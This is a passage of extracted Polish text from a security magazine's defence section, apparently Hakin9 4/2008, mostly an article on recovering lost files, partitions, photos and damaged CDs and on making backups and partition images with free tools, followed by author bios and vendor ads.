jednoznacznie wykrywany program mógł mieć
przypisaną procedurę leczącą. Współcześnie
odchodzi się od wykrywania sygnaturami
na rzecz uogólnionych wzorców i metod
heurystycznych. W tym przypadku leczenie
musi przebiegać w sposób uogólniony.
Program antywirusowy usuwa z systemu
wszystkie odnośniki do niebezpiecznego
obiektu, zabija jego proces, usuwa pliki.
Niestety, nie jest możliwe
przeanalizowanie każdego pliku i
przygotowanie na niego szczepionki.
Niebezpieczne oprogramowanie działa w
środowisku dynamicznym. W każdej chwili
aktualizuje się, jest zastępowane nową wersją
pobraną z Internetu lub ściąga dodatkowe
komponenty. Zdefiniowana stała procedura
lecząca nie usunie wszystkich zagrożeń.
Program antywirusowy, oprócz usunięcia
obiektów, powinien przywrócić zmiany
dokonane przez niebezpieczny program,
ale znów nie jest to możliwe. Nie można
stwierdzić, czy zmiany w systemie dokonał
niebezpieczny program, czy też administrator
systemu. Wiele robaków wyłącza domyślną
zaporę ogniową, ale robią to też użytkownicy.
Administratorzy kawiarenek internetowych
wyłączają Menadżer Zadań, ale robią
to też konie trojańskie. Niebezpieczne
oprogramowania odbiera użytkownikom
uprawnienia w systemie, ale może zrobić to
ojciec informatyk nadzorujący pracę swoich
dzieci. Czy ustawienia domyślne powinny być
przez antywirusa przywracane?
Inną kwestia jest zagadnienie sensu
leczenia. W środowiskach stawiających na
bezpieczeństwo w przypadku ataku cały
system jest czyszczony, gdyż nie ma gwarancji,
że po infiltracji zostało znalezione i usunięte
z niego wszystko, co jest niebezpieczne.
Współczesne systemy informatyczne, a
nawet same systemy operacyjne, są zbyt
skomplikowane, aby je w pełni przeanalizować.
Środowiska rządowe lub korporacyjne zdają
sobie z tego sprawę. Odmienne wymagania
mają użytkownicy domowi, którzy są
przyzwyczajeni do posiadania zainfekowanych
systemów i nie widzą w przypadku infekcji
problemu. Sytuacja ta powoli się zmienia
wraz z rozpowszechnieniem niebezpiecznego
oprogramowania powodującego szkody
finansowe wśród użytkowników.
Podsumowanie
Prawo patentowe Stanów Zjednoczonych
spowodowało, że większość z powszechnie
używanych na świecie technik antywirusowych,
nawet tych najprostszych, została
opatentowana. Po kilku procesach sądowych
firmy antywirusowe przestały omawiać
techniki, które stosują w swoich programach,
przez co trudno jest znaleźć dokładne
informacje na ich temat. Artykuł ten stanowi
przegląd popularnie używanych technik i
opisuje problemy, z jakimi stykają się twórcy
silników antywirusowych. Mam nadzieję, że
uchylił rąbka tajemnicy.
Jakub Dębski
jest starszym analitykiem w firmie ESET (producent m.in.
programów ESET NOD32 Antivirus oraz ESET Smart
Security), specjalizującej się w ochronie proaktywnej
z wykorzystaniem najbardziej zaawansowanych
mechanizmów analizy heurystycznej. Wcześniej przez
wiele lat pracował w polskich firmach antywirusowych. Był
kierownikiem projektu silnika mks_vir, następnie ArcaVir.
Studia na Wojskowej Akademii Technicznej ukończył
obroną pracy dyplomowej na temat wykorzystania sieci
neuronowych w detekcji zagrożeń internetowych.
Kontakt z autorem: debski.jakub@wp.pl
48
OBRONA
HAKIN9 4/2008
O
ile przywrócenie systemu operacyjnego
i wykorzystywanych programów do
stanu używalności, wymagając co
prawda poświęcenia pewnej ilości czasu czasu
i minimalnej wiedzy w zakresie instalacji, leży
w możliwościach przeciętnego użytkownika,
o tyle stracone osobiste dane wymagają
potraktowania w specyficzny sposób.
Najważniejszą zasadą w przypadku utraty
danych jest natychmiastowe zaprzestanie
wykonywania jakichkolwiek operacji zapisu na
nośniku, z którego informacje zniknęły. Warto
również odciąć dostęp do Internetu, gdyż jeśli
skasowanie danych jest wynikiem celowego
ataku osoby z zewnątrz, blokujemy możliwość
sterowania komputerem przez hakera oraz
zapobiegamy dalszej zdalnej destrukcji systemu.
Należy pamiętać, aby po utracie danych
ze swojego komputera nie wpadać od razu w
panikę. Istnieje wiele metod i narzędzi, które
pomogą w odzyskaniu skasowanych plików. Na
rynku funkcjonuje kilka firm, które w profesjonalny
sposób zajmują się przywracaniem danych
z wszelakich nośników. Firmy te korzystają z
różnych sposobów, zarówno software’owych jak
i hardware’owych, jednak usługi ich są bardzo
drogie i skierowane raczej do dużych firm. Nie
znaczy to, że w warunkach domowych nie można
podjąć próby ratunkowej, wręcz przeciwnie
– można i bardzo często zakończyć się może ona
pełnym sukcesem. W artykule omówione zostały
różne przypadki utraty bądź uszkodzenia plików
BARTŁOMIEJ CYRNY
Z ARTYKUŁU
DOWIESZ SIĘ
jak odzyskać dane po awarii czy
ataku wirusa,
czy porysowana płyta CD nadaje
się tylko na śmietnik,
co zrobić, kiedy aparat nie widzi
wykonanych zdjęć,
czy zaginiona partycja oznacza
totalną katastrofę,
dlaczego wykonanie obrazu
partycji systemowej może
przynieść korzyści,
na ile wykonywanie kopii
zapasowych może oszczędzić
nerwów.
CO POWINIENEŚ
WIEDZIEĆ
powinieneś znać obsługę i
konfigurację systemu Windows
na poziomie co najmniej
podstawowym,
powinieneś posiadać wiedzę na
temat sposobu zapisu danych
na dyskach oraz podziału
dysków na partycje.
oraz sposoby ich programowego rozwiązania.
Wykorzystane zostały wyłącznie programy, które
można pobrać za darmo z Sieci – na licencji
freeware lub shareware.
Uszkodzenia dysków
Generalnie uszkodzenia dysków twardych
możemy podzielić na dwa typy: uszkodzenia
logiczne i fizyczne. W tym drugim przypadku
mamy do czynienia z problemami
elektronicznymi lub mechanicznymi – usterka
może dotyczyć samego nośnika fizycznego,
czyli talerzy. Uszkodzenia fizyczne najczęściej
objawiają się dziwnymi dźwiękami wydawanymi
przez dysk, charakterystycznym stukaniem
lub nie wykrywaniem dysku w BIOSie. Często
bywa również tak, że dysk nie wydaje żadnych
dźwięków – oznacza to, iż talerze się nie kręcą.
Warto zauważyć, że niektóre uszkodzenia
logiczne są podobne do fizycznych – na
przykład uszkodzenie struktury fizycznej może
powodować błędy odczytu. Przy diagnozowaniu
problemu wielce przydatny okaże się S.M.A.R.T
(Self-Monitoring, Analysis and Reporting
Technology), czyli system monitorowania i
powiadamiania o błędach działania twardego
dysku. Aby skorzystać z dobrodziejstw tego
systemu, niezbędne jest włączenie odpowiedniej
opcji w BIOSie, a następnie skorzystanie z
odpowiedniej aplikacji. Odczyty parametrów
systemu S.M.A.R.T. są widoczne nie tylko z
poziomu specjalistycznych aplikacji, ale również z
Stopień trudności
Odzyskiwanie
danych
Utrata danych wiąże się często z dużymi stratami, nierzadko
także finansowymi. Nie ma tu większego znaczenia, czy będzie
to przemyślany atak hakera, działanie wirusa lub trojana,
przypadkowe skasowanie przez użytkownika czy awaria systemu
operacyjnego.
49
ODZYSKIWANIE I ZABEZPIECZANIE DANYCH PO ATAKU HAKERSKIM
HAKIN9
4/2008
popularnych narzędzi diagnostycznych, na
przykład Everest lub Sandra.
Przykładem programu przeznaczonego
specjalnie do testowania dysków twardych
jest HD Tune 2.54 (Rysunek 1).
Przy jego pomocy można sprawdzić
dysk pod kątem występowania błędów,
przetestować jego wydajność, sprawdzić
stan parametrów S.M.A.R.T, a także
uzyskać podstawowe informacje na temat
podłączonych urządzeń.
Z racji swojej budowy, tj. zawartości
wielu ruchomych części, klasyczne twarde
dyski są urządzeniami delikatnymi, które
może uszkodzić nawet mocniejszy wstrząs.
Najczęściej spotykanym problemem jest
ujawnianie się tak zwanych bad sectorów,
czyli po prostu uszkodzonych sektorów
dysku. Uszkodzone sektory dzielą się na
logiczne – spowodowane błędną strukturą
logiczną dysku oraz fizyczne – uszkodzone
mechanicznie. Warto tu podkreślić, że
jedynym pewnym sposobem pozbycia
się uszkodzonych fizycznych sektorów jest
wymiana dysku na nowy. Można podjąć
jeszcze próbę przełożenia elektroniki z
identycznego sprawnego dysku, wymaga
to jednak fizycznej ingerencji w sam dysk, a
także sporej precyzji oraz uwagi.
Wszystkie dyski twarde mają
ograniczoną żywotność, co oznacza, że
mimo wszelkich środków ostrożności i
tak w końcu ulegną uszkodzeniu. Dzięki
stosowaniu się do paru prostych zasad
możemy jednak przedłużyć czas życia
dysku i zminimalizować możliwość utraty
danych. Wciąż najrozsądniejszym wyjściem
pozostaje jednak wykonywanie kopii
bezpieczeństwa szczególnie ważnych
plików.
Odzysk utraconych plików
Najczęstszym przypadkiem utraty danych
na dysku jest przypadkowe usunięcie
danego pliku czy katalogu ze zbiorem
większej ilości danych, niekiedy za czystkę
na dysku odpowiada niepożądane
działanie wirusa czy trojana. Należy
pamiętać, że pozornie skasowany plik
z Kosza dalej funkcjonuje w systemie,
tylko jest niewidoczny dla użytkownika.
Tabela partycji, na której znajduje się
pozornie skasowany plik, zawiera wszystkie
informacje na temat fizycznego położenia
każdego zbioru. Wszystko jest jednak
dobrze do momentu, kiedy usunięty plik nie
zostanie nadpisany innymi danymi, dlatego
ważne jest, aby po stwierdzeniu braku
ważnych plików nie dokonywać żadnych
operacji na tym dysku/partycji. Zwiększy
to prawdopodobieństwo odzyskania
utraconych plików w stanie nienaruszonym.
W tej sytuacji z pomocą przychodzą takie
programy jak FreeUndelete 2.0 (Rysunek
2) czy PC Inspector File Recovery 4.0,
które potrafią podejrzeć tabele partycji i
odzyskać z nich dane.
Pierwszy z nich ma dodatkowo tę
zaletę, że pozwala na instalację na
pendrivie, co ma duże znaczenie, jeśli w
komputerze jest tylko jedna partycja na
dysku. Instalując program do odzysku
utraconych danych na partycji, z której
dane zniknęły, mogłoby dość do sytuacji,
że instalacja nadpisałaby pliki, które miały
być odzyskane! Obsługa programów
nie jest skomplikowana i sprowadza
się do wybrania dysku, który ma zostać
przeskanowany oraz ewentualnie
do ustawienia filtracji pod kątem
poszukiwania plików określonego typu, na
przykład *.xls dla arkuszy kalkulacyjnych z
Rysunek 1.
Okno programu FreeUndelete
Rysunek 2.
Okno programu IsoBuster
OBRONA
50
HAKIN9 4/2008
ODZYSKIWANIE I ZABEZPIECZANIE DANYCH PO ATAKU HAKERSKIM
51
HAKIN9
4/2008
programu Excel. Wynikiem działania obu
programów jest lista plików, które dało
się odczytać i prawdopodobnie uda się
przywrócić. Należy mieć świadomość,
że nie wszystkie pliki mogą dać się
odzyskać w pełni, może się zdarzyć tak,
że część plików została już częściowo
nadpisana – wtedy będą miały status
Poor. Te pliki, które programy są w stanie
w pełni przywrócić, otrzymają status
Good. Na koniec pozostaje tylko wskazać
dysk lub partycję, gdzie odzyskane pliki
mają zostać zapisane i poczekać, aż
program wykona powierzone mu zadanie.
Nie należy zapisywać plików na partycji,
z której odzyskuje się dane – najlepiej
wykorzystać do tego drugą partycję albo
pendrive. Proces skanowania dysku oraz
przywracania danych może trwać bardzo
długo – zależy to głównie od wielkości
dysku oraz stopnia pofragmentowania
plików. Dlatego tak istotna jest częsta
defragmentacja dysków – zwiększy to
w przyszłości szanse na ewentualne
odzyskanie utraconych danych. Jeśli
wszystko powiedzie się pomyślnie, to na
koniec program poinformuje nas o tym
stosownym komunikatem, a odzyskane
pliki zostaną zapisane we wskazanym
wcześniej miejscu.
Ratowanie płyt CD/DVD
Kiedy nośniki w postaci płyt CD (a potem
DVD) wchodziły na rynek, zapewniano,
że dane zapisane na nich przetrwają
kilkadziesiąt lat i więcej. Niestety, zalew
rynku tanimi i tym samym marnej jakości
nośnikami doprowadził do tego, że z
zapisanych płyt czasami nie da się
odczytać wielu informacji już po kilku
miesiącach! Tutaj też nie pozostajemy
bezradni, dane z porysowanych czy
z pozoru dobrych, ale nie dających
się odczytać płytek, odzyska w wielu
przypadkach program IsoBuster 2.2
(Rysunek 3).
Program występuje w dwóch wersjach,
darmowej i płatnej, jednak różnica między
nimi polega na obsłudze w wersji płatnej
dodatkowo płyt w formatach HD-DVD
oraz Blu-ray, pozostałe funkcje dostępne
są również w wersji bezpłatnej. Po
uruchomieniu programu oraz włożeniu
do napędu uszkodzonej płyty nastąpi
automatyczny odczyt zapisanych na
niej danych. Po przeanalizowaniu całej
płytki ukaże się lista plików, które można
następnie skopiować na inny napęd, na
przykład dysk twardy. Może się jednak
zdarzyć, że ten sposób nie przyniesie
oczekiwanych wyników na liście plików
do odzyskania. Wtedy pozostaje jeszcze
drugi wariant, jaki oferuje IsoBuster
– utworzenie tak zwanego obrazu płyty,
czyli pliku na dysku komputera, który
będzie wierną kopią płyty. To rozwiązanie
ma wiele zalet – nie nadwyręża się i tak
już niesprawnego nośnika poprzez częsty
odczyt, także sam proces odzyskiwania
przebiega szybciej z obrazu na dysku
twardym niż z porysowanej płytki. Po
utworzeniu obrazu ze zniszczonej płyty
można przystąpić do jego analizy i
późniejszego kopiowania odczytanych
plików na dysk. Ostatnią metodę, jaką
oferuje IsoBuster, należy wykorzystywać
wyłącznie jeśli zawiodą opisane powyżej
dwie poprzednie, ponieważ obciąża
ona znacząco zarówno dysk, jak i sam
napęd. Należy przeanalizować raz
jeszcze płytę, ale ustawiając wcześniej
w opcjach odczytu liczbę ponowień
odczytu pojedynczego i wielokrotnych
bloków danych na 6. Spowoduje to odczyt
uszkodzonych bloków do sześciu razy z
rzędu, zwiększając szansę na odzyskanie
danych. Należy pamiętać, że tak
Rysunek 3.
Okno programu PhotoRec
Rysunek 4.
Okno programu Partition Manager
OBRONA
50
HAKIN9 4/2008
ODZYSKIWANIE I ZABEZPIECZANIE DANYCH PO ATAKU HAKERSKIM
51
HAKIN9
4/2008
skonfigurowana analiza płyty może trwać
bardzo długo, ale przynieść w efekcie
zamierzony efekt.
Kiedy znikną zdjęcia
W związku z popularnością oraz
malejącymi cenami aparatów cyfrowych, a
także nośników do zapisu zdjęć w postaci
cyfrowej w tychże aparatach, mało kto
robi już zdjęcia tradycyjnymi aparatami
na kliszę. Wbudowane układy flash, karty
pamięci czy miniaturowe dyski używane
jako nośniki do zapisu zdjęć i filmów w
aparatach czy kamerach są teoretycznie
trwalszym nośnikiem niż klisza czy taśma.
Zdarzyć się jednak może, że z nieznanych
nam przyczyn aparat zniszczy część zdjęć,
a niekiedy przez przypadek samemu
sformatuje się kartę pamięci. W tej sytuacji
najskuteczniejszym narzędziem okazuje się
program PhotoRec 6.9 (Rysunek 4), który
w przypadku pozornie uszkodzonych bądź
czystych nośników cyfrowych obrazów
potrafi zdziałać cuda.
Największą zaletą programu jest to,
że ignoruje w znaczącym stopniu system
plików, a swoje działania skupia na
indywidualnym kodzie nagłówka każdego
pliku. Tym sposobem PhotoRec odzyskuje
pliki nawet wtedy, kiedy system plików został
zmieniony lub nośnik – sformatowany.
Program może na początku odstraszyć
zwłaszcza osoby przyzwyczajone do
pracy wyłącznie w interfejsie graficznym,
ponieważ uruchamia się w trybie
tekstowym. Obsługa nie jest jednak
skomplikowana i nie ma konieczności
wpisywania jakichkolwiek poleceń
– wszystkie opcje wybiera się operując
kursorami. Po podłączeniu aparatu do
komputera bądź karty pamięci, na przykład
poprzez czytnik, należy w programie
wybrać na liście wszystkich rozpoznanych
nośników (włącznie z dyskami twardymi)
ten, z którego zniknęły obrazy. W kolejnym
kroku program zapyta o typ tabeli partycji,
w większości przypadków będzie to Intel.
W następnym kroku warto podać, które
formaty plików stanowią centrum naszego
zainteresowania. Jeśli wiadomo, że aparat
zapisuje zdjęcia w formacie JPG, to nie
ma sensu przeszukiwać nośnika pod
kątem innych formatów. Następnie należy
powrócić do głównego okna i wybrać opcję
Search, a program zapyta jeszcze o typ
systemu – tutaj wybieramy Other (chyba,
że nośnik został wcześniej sformatowany w
systemie Linux czy OS X). Program może
przeszukać teraz albo cały nośnik, albo
tylko pozostałą wolną przestrzeń, a wyniki
swojej pracy zapisze domyślnie w katalogu
z programem, chyba że wcześniej wskaże
się inny.
Pamięta o partycjach
To, że dysk powinien być podzielony na
partycje, wie każdy przeciętny użytkownik
komputera. Robi się tak dlatego, iż utrata
danych z jednej z partycji (o ile uszkodzenie
ma charakter logiczny) nie wiąże się
z utratą plików na innych partycjach.
Przypadek, kiedy jedna z partycji przestaje
być widoczna w systemie, jest dość rzadki
– ale co zrobić, jeśli coś takiego się nam
przydarzy? W wyniku błędu użytkownika
bądź destrukcyjnej działalności wirusa
często znikają niektóre zapisy w tablicy
alokacji plików. W tej sytuacji, na pierwszy
rzut oka beznadziejnej, nie należy od razu
rozkładać rąk. Tak z pozoru utraconą
Rysunek 5.
Okno programu Driver Backup
Rysunek 6.
Okno programu Cobian Backup
partycję da się zazwyczaj przywrócić
do stanu sprzed awarii. Do tej operacji
potrzebny będzie program Partition
Manager 8.5 firmy Paragon (Rysunek 5).
Po uruchomieniu programu (jeśli
uszkodzeniu uległa partycja systemowa,
to program należy zainstalować na innym
komputerze, a dysk z niedziałającą partycją
podłączyć jako dodatkowy) należy kliknąć
przycisk Undelete Partition, który wywoła
kreatora odzysku partycji. Nie pozostaje
nic innego, jak tylko wybrać dysk, z którego
zaginęła partycja i pozwolić programowi
przeanalizować nośnik. Jeśli wiadomo, w
jakim systemie plików jest sformatowana
zaginiona partycja, to można przyspieszyć
proces wyszukiwania, wybierając w
kreatorze opcję I want to select file system
and search criteria, a następnie All known
file systems i wybrać dany system plików,
na przykład FAT32 czy NTFS. Wynikiem
pracy Partition Managera będzie lista
odnalezionych partycji wraz z ich lokacjami.
Wystarczy już tylko wybrać partycję do
odzyskania i potwierdzić wykonanie
zadania. Aby partycja była widoczna w
systemie, wymagane jest już tylko ponowne
uruchomienie komputera.
Obraz partycji dobra rzecz
W przypadku awarii dysku, uszkodzenia
sporej ilości plików odpowiedzialnych za
poprawne funkcjonowanie systemu czy
destrukcyjnej działalności wirusa bądź
innego szkodnika, odzyskanie danych
może okazać się niewystarczające do
dalszej poprawnej pracy komputera.
Wystarczy, że ze stu plików systemowych
jeden nie odzyska się w pełni, a system
nie uruchomi się poprawnie. Dlatego
warto przygotować się wcześniej na
sytuację, kiedy to może przyjść nam
ponownie instalować i aktualizować
system, konfigurować używane na co
dzień programy itp. Ten, kto dokonywał
takiej operacji, wie, że proces ten jest
czasochłonny i może zająć od kilku
do kilkunastu godzin. Aby uniknąć
ponownej instalacji i konfiguracji
swojego komputera, warto zrobić obraz
partycji systemowej i w razie awarii
powrócić do poprzedniego stanu.
Obraz partycji warto wykonać zaraz po
instalacji systemu, instalacji sterowników
do urządzeń, pobraniu wszystkich
aktualizacji oraz instalacji używanych
na co dzień programów. Mamy wtedy
pewność, że jest to w pełni działająca i
sprawna konfiguracja, która w przypadku
odtworzenia pozwoli po kilku minutach na
normalną pracę. Aplikacją, która posłuży
nam do wykonania obrazu partycji oraz
ewentualnego przywrócenia jej, będzie
Driver Backup 8.5 (Rysunek 6).
Program posiada ciekawą
funkcjonalność, która pozwala tworzyć
obraz partycji systemowej podczas
normalnej pracy systemu. Wykonanie
obrazu partycji wspomaga kreator,
którego uruchamiamy wybierając Back
up hard disks or selected partitions. Aby
zmniejszyć rozmiar pliku wynikowego,
można zastosować kompresję, co
pozwoli na zaoszczędzenie od kilku
do kilkunastu procent miejsca. W celu
zabezpieczenia hasłem tworzonego
obrazu należy skorzystać z opcji
Password protection. Na koniec należy
już tylko wskazać partycję lub dysk
docelowy, gdzie ma zostać utworzony
Rysunek 7.
Okno programu Object Fix Zip
Rysunek 8.
Okno menu płyty Ultimate Boot CD
obraz partycji źródłowej oraz nazwę
dla tego pliku. Cały proces powinien
zająć nie więcej niż kilkanaście minut. To
jednak jeszcze nie wszystko, co należy
przygotować na wypadek awarii systemu.
Potrzebna będzie jeszcze startowa płyta
CD, którą wykorzystamy w momencie
ewentualnego odtwarzania systemu z
wcześniej sporządzonego obrazu. Należy
włożyć czysty krążek CD do nagrywarki
i wybrać Recovery Media Builder z
menu Tools. Płytkę należy nagrać z
domyślnymi ustawieniami programu i
dobrze zabezpieczyć do momentu jej
wykorzystania. W chwili awarii systemu
należy wystartować komputer z płytki
CD (wywołując przy starcie menu z
wyborem napędu do bootowania lub
zmienić w BIOSie kolejność startowania)
i skorzystać z kreatora odzyskiwania
systemu z obrazu. Należy wskazać
ścieżkę z obrazem oraz partycję
docelową, na której nastąpi przywrócenie
systemu. Po przeprowadzeniu zadanej
operacji kreator pokaże ekran
podsumowujący i wymusi restart
komputera.
Kopia lekiem na wszystko
Jak mawia stare powiedzenie, lepiej
zapobiegać niż leczyć. Warto zatem
wykonywać kopie ważnych dokumentów,
wiadomości mailowych czy plików
konfiguracyjnych używanych programów.
W przypadku awarii dysku czy ataku
wirusa, częściej łatwiej i szybciej
jest przywrócić ważne pliki z kopii
zapasowej niż spędzać długie godziny
na odzyskiwaniu danych w nadziei, że
wszystko się powiedzie. Niestety, mało
kto pamięta o tym, aby wykonywać
kopie swoich dokumentów i innych
ważnych plików. Temat ten często
jest bagatelizowany, odradzając się
poniewczasie w momencie utraty danych.
Dlatego warto zlecić to zadanie aplikacji
Cobian Backup 8.4 (Rysunek 7), która
kopie zapasowe będzie wykonywać za
nas.
Po uruchomieniu programu należy
określić, jakie katalogi czy pliki oraz
w jakich odstępach czasu mają być
archiwizowane. Z menu Zadania należy
wybrać Nowe zadanie i przystąpić do
określenia zasad wykonywania kopii
zapasowych naszych plików. Warto
ustawić typ kopii jako przyrostowy
– program przy pierwszym uruchomieniu
wykona pełny backup, natomiast
kolejne archiwa zawierać będą tylko
nowe lub zmodyfikowane pliki, co
pozwoli oszczędzić czas poświęcony
na wykonywanie zadania. W zakładce
Pliki wskazujemy pliki i katalogi do
skopiowania oraz ścieżkę docelową, w
której zostaną zapisane. Co ciekawe,
kopie można wykonywać również
bezpośrednio na dysk sieciowy lub
katalog sieciowy poprzez protokół FTP. W
zakładce Harmonogram z dokładnością
co do sekundy można określić odstępy
czasowe wykonywania backupów.
Zakładka Archiwum daje nam zaś
możliwość poddania plików kompresji
oraz zaszyfrowania tak powstałego
archiwum i zabezpieczenia go hasłem.
W określeniu rodzajów plików, które mają
być archiwizowane (lub wręcz przeciwnie)
pomoże zakładka Specjalne. Filtrowanie
konkretnych typów plików może okazać
się bardzo przydatne, jeśli chcemy na
przykład wykonywać kopie katalogu
Moje dokumenty, ale z pominięciem na
przykład obrazów typu JPG. Na koniec
warto przeprowadzić pierwszy backup,
który w zależności od ilości wybranych
katalogów i plików może chwilę potrwać.
Kolejne, przeprowadzane co określony
czas przy opcji przyrostowej, będą
wykonywać się zdecydowanie szybciej,
gdyż program zapisze tylko nowe
pliki oraz te, które uległy zmianie. W
ten sposób oszczędzi się czas, gdyż
program nie będzie musiał archiwizować
Rysunek 9.
Okno menu płyty Emergency Boot CD
Rysunek 10.
Okno programu HD tune 2.54
OBRONA
54
HAKIN9 4/2008
wszystkich plików od początku. Proces
przywrócenia danych z archiwum
jest banalnie prosty i ogranicza się
do wybrania z menu Narzędzia opcji
Dekompresja oraz wskazaniu miejsca,
gdzie zapisane jest archiwum.
Narzędzia dodatkowe
Często po procesie odzyskiwania danych
z utraconej partycji czy wykasowanych
katalogów nie wszystkie pliki dają się
poprawnie odczytać. Nie oznacza to, że
dane te są zupełnie bezużyteczne i należy
je wykasować. Istnieje wiele przeróżnych
narządzi, które pomogą naprawić
uszkodzone pliki. Często okazuje się, że
odzyskanego archiwum w postaci pliku ZIP
nie można rozpakować, wtedy z pomocą
przychodzi darmowe narzędzie Object Fix
Zip 1.6.1 (Rysunek 8).
Program naprawia niekompletne
archiwa w formacie ZIP, wstawiając
w brakujące miejsca informacje
pochodzące z nadmiarowych rekordów.
Aby naprawić dokument w formacie PDF,
warto sięgnąć po narzędzie Multivalent,
które potrafi przywrócić do życia niejeden
plik spod znaku Adobe. Jeśli okaże się,
że program Microsoft Outlook zgłasza
problem z dostępem do pliku poczty, to
warto skorzystać z aplikacji CopyPST,
która potrafi wyodrębnić poszczególne
wiadomości z uszkodzonego pliku PST.
Płyty ratunkowe
W Sieci znaleźć można również wiele
zestawów narzędzi do odzyskiwania i
naprawy plików, zarządzania dyskami
czy diagnozowania podzespołów
komputera. Tak zwane Boot CD, czyli
płyty startujące, które uruchamiają się
podczas startu komputera z pominięciem
zainstalowanego systemu, mogą okazać
się bardzo przydatne w momencie,
kiedy sam system nie chce wystartować
poprawnie. W pełni darmowym zestawem
takich narządzi jest produkt Ultimate Boot
CD 4.1.1 (Rysunek 9).
Po restarcie systemu z wygodnego
menu programu można wybrać m. in.
narzędzia diagnostyczne do dysków
twardych, czyszczące zawartość dysków,
klonujące zawartość dysków, tworzące i
zarządzające partycjami, do zarządzania
startem dysków (bootowania), do obsługi
plików, testujące pamięć, do odzyskania
systemu Linux, a także informujące o
systemie, antywirusowe oraz sieciowe.
Inną ciekawą propozycją z kategorii
Boot CD jest zestaw narzędzi o nazwie
Emergency Boot CD 0.6.1 (Rysunek 10).
Na płycie znajdują się między innymi:
Volkov Commander, Free FDisk, Floppy
disk reanimator, Smart Boot Manager
oraz narzędzie diagnostyczne AIDA16.
Autor EBCD twierdzi, że większa część
oprogramowania należy do kategorii
freeware i może być swobodnie
rozpowszechniana, jednak status innych
narzędzi jest nieznany. Dlatego warto
usunąć wszystkie te aplikacje, których
legalność budzi jakiekolwiek podejrzenia.
Największą zaletą EBCD jest to, że z płyty
można usunąć niepotrzebne aplikacje
albo dodać na płytę te programy, których
używamy najczęściej. To nic trudnego –
trzeba jedynie dokonać edycji kilku plików
XML. Wszystkie materiały niezbędne do
przygotowania obrazu krążka startowego
znajdują się w Sieci na stronie
producenta. Warto mieć zawsze pod
ręką obie płyty – ciężko wyobrazić sobie
diagnostykę niesprawnego komputera
bez zestawu tak przydatnych narzędzi.
Podsumowanie
Jak widać kwestia danych
komputerowych, ich odzyskiwania i
naprawiania nie jest rzeczą nadwyraz
trudną. Wystarczy posiadać podstawową
wiedzę z dziedziny komputerów i
zapisu plików na nośnikach danych
oraz odpowienie narzędzia w postaci
odpowiednich programów. Domowe
metody odzykiwania danych nie są może
tak skuteczne jak w specjalistycznych
labolatoriach dużych firm, ale pozwalają
w większości przypadków uratować
większość straconych plików. Dużym
atutem jest również to, że prawie
wszystkie operacje można wykonać przy
użyciu darmowych programów ogólnie
dostępnych w Internecie, renomowane
firmy skasują za usługę odzysku danych
nawet kilkanaście tysięcy złotych
(wszystko zależy od ilości danych i stopnia
uszkodzenia nośnika). Każdy wie o tym, że
lepiej zapobiegać niż leczyć ale często
o tym zapominamy. Podobnie jest z
wykonywaniem kopii zapasowych ważnych
danych czy nawet całych partycji dysku
twardego. Warto jednak wyrobić w sobie
nawyk wykonywania co pewien okres
archiwum ze zbioru swoich dokumentów,
zdjęć czy muzyki, uniknie się w przyszłości
niemiłego rozczarowania oraz oszczędzi
czas, który trzeba będzie poświęcić na
odzyskiwanie danych. Jeśli cierpimy
na zaniki pamięci można tą operację
powieżyć odpowiednim programom,
które co określony czas zrobią to za nas.
Ostatnią deską ratunku okazują się płyty
ratunkowe, zawsze warto mieć nagrane
płytki z zestawami takich narzędzi, nigdy
nie wiadomo kiedy mogą się przydać i
przywrócić do życia wysłużony komputer.
W Sieci
• http://www.officerecovery.com/freeundelete – pełna wersja programu FreeUndelete 2.0,
• http://www.pcinspector.de – pełna wersja programu PC Inspector File Recovery 4.0,
• http://www.smart-projects.net - pełna wersja programu IsoBuster 2.2,
• http://www.cgsecurity.org/wiki/PhotoRec – pełna wersja programu PhotoRec 6.9,
• http://www.paragon-software.com – wersja demonstracyjna programu Partition
Manager 8.5,
• http://www.paragon-software.com – wersja demonstracyjna programu Driver Backup 8.5,
• http://www.educ.umu.se/~cobian/cobianbackup.htm – pełna wersja programu Cobian
Backup 8.4,
• http://www.objectrescue.com/products/objectfixzip – pełna wersja programu Object
Fix Zip 1.6.1,
• http://multivalent.sourceforge.net – pełna wersja programu Multivalent,
• http://www.olfolders.de – pełna wersja programu CopyPST,
• http://www.ultimatebootcd.com – pełna wersja obrazu ISO Ultimate Boot CD 4.1.1,
• http://www.ebcd.pcministry.com – pełna wersja obrazu ISO Emergency Boot CD 0.6.1.
Bartłomiej Cyrny
Autor od wielu lat jest pasjonatem komputerów,
pracuje jako Informatyk. Ukończył kierunek Informatyka
i Ekonometria na Wydziale Zarządzania Uniwersytetu
Gdańskiego. Obecnie dokształca się na studiach
podyplomowych o kierunku Projektowanie i Zarządzanie
Sieciami Komputerowymi na wydziale Elektroniki,
Telekomunikacji i Informatyki na Politechnice Gdańskiej.
Redaktor wortalu: www.security.free.pl
Kontakt z autorem: bcyrny@gmail.com
Prenumerata Pro
Media
Systems
Firma Media Systems oferuje Państwu
profesjonalny system CashBill.pl,
umożliwiający zarządzanie usługami
SMS Premium Rate w sektorze B2B
i B2C. Oferujemy również szeroki
wachlarz usług mikropłatniczych,
płatności elektronicznych oraz indywi-
dualne, dedykowane rozwiązania przy
budowie aplikacji mobilnych.
TTS Company Sp. z o.o.
Oprogramowanie komputerowe - sprze-
daż, dystrybucja oraz import na za-
mówienie. W ofercie programy autor-
stwa ponad dwustu firm z całego świa-
ta. Chcesz kupić oprogramowanie i nie
możesz znaleźć polskiego dostawcy?
Skontaktuj się z nami ? sprowadzimy
nawet pojedyncze licencje.
www.OprogramowanieKomputerowe.pl
CCNS
Działalność firmy skoncentrowana jest
wokół hasła zapewnienia pełnego bez-
pieczeństwa funkcjonowania Klienta
w realiach współczesnej gospodarki.
Jako Expert Partner firmy WatchGuard
Inc. oferujemy kompleksowe rozwiąza-
nia bezpieczeństwa sieci i systemów
informatycznych obejmujące nowo-
czesne urządzenia typu Unified Thre-
at Management, niezawodny serwis
i szeroki wachlarz szkoleń.
www.ccns.pl
Petrosoft
Partner Microsoft Bussiness Solutions
Dynamics GP. Budowa sklepów inter-
netowych, serwisów WWW, prezentacji
multimedialnych. Budowa sieci LAN,
WAN, telekomunikacyjnych. Telefonia
stacjonarna, VoiceIP. Usługi outsor-
cingowe dla dużych firm z zakresu
informatyki i telekomunikacji. Opro-
gramowanie na zamówienia. Dostawa
serwerów, sprzętu, oprogramowania.
38-200 Jasło, ul. 3 Maja 101
Biuro: (13) 44 66 666
biuro@petrosoft.pl
Zepter IT
Zepter IT to dynamicznie rozwijają-
